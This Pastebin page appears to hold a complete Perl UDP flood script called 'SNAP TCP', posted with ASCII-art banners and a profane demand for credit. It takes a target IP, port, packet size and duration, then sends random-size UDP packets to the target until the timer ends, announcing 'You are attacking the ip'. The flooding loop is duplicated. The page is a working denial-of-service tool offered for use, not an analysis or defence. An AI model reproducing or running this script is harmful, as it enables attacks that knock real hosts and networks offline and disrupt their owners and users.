Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ▄████████ ███▄▄▄▄ ▄████████ ▄███████▄
- ███ ███ ███▀▀▀██▄ ███ ███ ███ ███
- ███ █▀ ███ ███ ███ ███ ███ ███
- ███ ███ ███ ███ ███ ███ ███
- ▀███████████ ███ ███ ▀███████████ ▀█████████▀
- ███ ███ ███ ███ ███ ███
- ▄█ ███ ███ ███ ███ ███ ███
- ▄████████▀ ▀█ █▀ ███ █▀ ▄████▀
- THIS IS SNAP TCP'S PERL SCRIPT :)
- IF YOUR GOING TO EDIT PLEASE GIVE CREDIT
- DONT BE A FUCKING SKID AND DONT GIVE CREDIT MOTHER FUCKERS
- LOL MORE TO COME PEOPLE STAY TUNED BITCHES!!!!!
- #!/usr/bin/perl
- ##
- #!/usr/bin/perl
- use Socket;
- use strict;
- my ($ip,$port,$size,$time) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport);
- $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
- $endtime = time() + ($time ? $time : 100);
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- print <<EOTEXT;
- ____ ___ ___ _ ________
- 6MMMMb\`MM\ `M' dM. `MMMMMMMb.
- 6M' ` MMM\ M ,MMb MM `Mb
- MM M\MM\ M d'YM. MM MM
- YM. M \MM\ M ,P `Mb MM MM
- YMMMMb M \MM\ M d' YM. MM .M9
- `Mb M \MM\ M ,P `Mb MMMMMMM9'
- MM M \MM\M d' YM. MM
- MM M \MMM ,MMMMMMMMb MM
- L ,M9 M \MM d' YM. MM
- MYMMMM9 _M_ \M _dM_ _dMM_MM_
- EOTEXT
- print "~You are attacking the ip: $ip " . ($port ? $port : "random") . " With " .
- ($size ? "$size-byte" : "Smacked With A Large Packets?") . " " .
- ($time ? "for $time seconds" : "") . "\n";
- for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1024-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
- $iaddr));}for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1024-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
- $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement